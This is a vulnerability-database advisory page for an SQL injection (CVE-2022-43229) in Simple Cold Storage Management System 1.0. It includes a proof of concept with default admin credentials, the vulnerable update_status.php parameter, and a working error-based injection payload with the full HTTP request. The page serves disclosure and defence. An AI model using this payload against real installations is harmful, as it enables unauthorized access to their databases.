Vulners
Lucene search
Simple Cold Storage Management System 1.0 SQL Injection
| Reporter | Title | Published | Views | Family All 11 |
|---|---|---|---|---|
 | CVE-2022-43229 | 28 Oct 202222:29 | – | circl |
 | Simple Cold Storage Management System SQL注入漏洞 | 28 Oct 202200:00 | – | cnnvd |
 | Simple Cold Storage Management System SQL Injection Vulnerability (CNVD-2023-69723) | 31 Oct 202200:00 | – | cnvd |
 | CVE-2022-43229 | 28 Oct 202200:00 | – | cve |
 | CVE-2022-43229 | 28 Oct 202200:00 | – | cvelist |
 | EUVD-2022-46273 | 3 Oct 202520:07 | – | euvd |
 | CVE-2022-43229 | 28 Oct 202218:15 | – | nvd |
 | Sql injection | 28 Oct 202218:15 | – | prion |
 | PT-2022-26804 · Unknown · Simple Cold Storage Management System | 28 Oct 202200:00 | – | ptsecurity |
 | CVE-2022-43229 | 22 May 202523:57 | – | redhatcve |
10
`# Simple Cold Storage Management System v1.0 by oretnom23 has SQL injection
BUG_Author: QiaoRui feng
Login account: admin/admin123 (Super Admin account)
vendors: https://www.sourcecodester.com/php/15088/simple-cold-storage-management-system-using-phpoop-source-code.html
The program is built using the xmapp-php8.1 version
Vulnerability File: /csms/admin/bookings/update_status.php?id=
Vulnerability location: /csms/admin/bookings/update_status.php?id=, id
dbname =csms_db,length=7
[+] Payload: /csms/admin/bookings/update_status.php?id=2%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ // Leak place ---> id
```sql
GET /csms/admin/bookings/update_status.php?id=2%27%20and%20updatexml(1,concat(0x7e,(select%20database()),0x7e),0)--+ HTTP/1.1
Host: 192.168.1.88
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:46.0) Gecko/20100101 Firefox/46.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
DNT: 1
Cookie: PHPSESSID=d8pesjl7i2jtmf2qddggbp7q0b
Connection: close
```
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
31 Oct 2022 00:00Current
0.4Low risk
Vulners AI Score0.4
CVSS 3.17.2
EPSS0.00388
SSVC